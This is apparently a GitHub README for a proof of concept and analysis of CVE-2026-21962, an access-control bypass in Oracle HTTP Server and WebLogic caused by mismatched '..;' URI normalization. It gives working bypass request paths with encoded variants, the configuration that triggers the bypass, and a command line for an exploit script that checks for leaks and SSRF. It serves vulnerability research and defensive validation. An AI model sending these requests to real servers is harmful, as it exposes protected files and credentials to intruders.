zeetee1235/cve-2026-21962Verified PoC and analysis for CVE-2026-21962, an access-control bypass in Oracle HTTP Server/WebLogic Proxy Plug-in via URI normalization inconsistency, with exploit script and evidence.
An independently reproduced exploit and analysis for CVE-2026-21962 (improper access control, CVSS 10.0) in Oracle HTTP Server / the Oracle WebLogic Server Proxy Plug-in for Apache HTTP Server.
Status: verified against live OHS 12.2.1.4.0 and 14.1.2.0.0 fronting WebLogic Server 12.2.1.4.
The front-end (OHS + mod_wl_ohs) and the backend (WebLogic) normalize
..; differently. A request like:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
bypasses a front-end <Location /internal-admin> protection rule because OHS
does not collapse ..;, while WebLogic ( = servlet
path-parameter, = parent). The backend then serves the protected path.
Result: (CWE-284).
;..mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
fronting WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
fronting WebLogic Server 12.2.1.4..env):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), proving the bypass.X-ORACLE-DMS-* headers, proving it is a genuine
backend (WebLogic) response./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, affected in
12.2.1.4.0). Same mechanism is expected (servlet path resolution on the
backend), but it was not reproduced on Windows.analysis/patch-analysis.md).| role | component | version |
|---|---|---|
| front-end | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| backend | Oracle WebLogic Server | 12.2.1.4 |
| protected app | /internal-admin/cont/.env (fabricated credentials) | — |
Front-end configuration used (minimal trigger):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Same request, same front-end, same backend — only the front-end's handling of
..; is changed.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| deployment | HTTP | leaked | backend reached |
|---|---|---|---|
| vulnerable | 200 | yes (.env credentials) | yes (X-ORACLE-DMS-*) |
| patched (fixed normalization) | 404 | no | no |
Raw evidence (request / response / server logs):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : auto-detect the WLSRequest proxy prefix (e.g. /foo).-c : protected path on the backend (default internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-* headers; the control
(direct) request must be blocked for the verdict to be positive.See exploit/README.md for details. Use only against systems you are
authorized to test.
.
├── README.md this file
├── exploit/
│ ├── CVE-2026-21962.py verified PoC (deterministic leak check)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md normalization mismatch analysis
│ └── patch-analysis.md binary diff + patch-equivalent A/B
└── poc-factcheck.md public-PoC credibility table + per-PoC detail
Active detection / mapping tooling (fingerprint, blind probe, normalize-map)
that works WITHOUT knowing a protected path is kept separately in
../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aThis material is provided for vulnerability research and defensive validation.
Do not use against systems without authorization. The .env content in the
evidence is fabricated; no real credentials are included.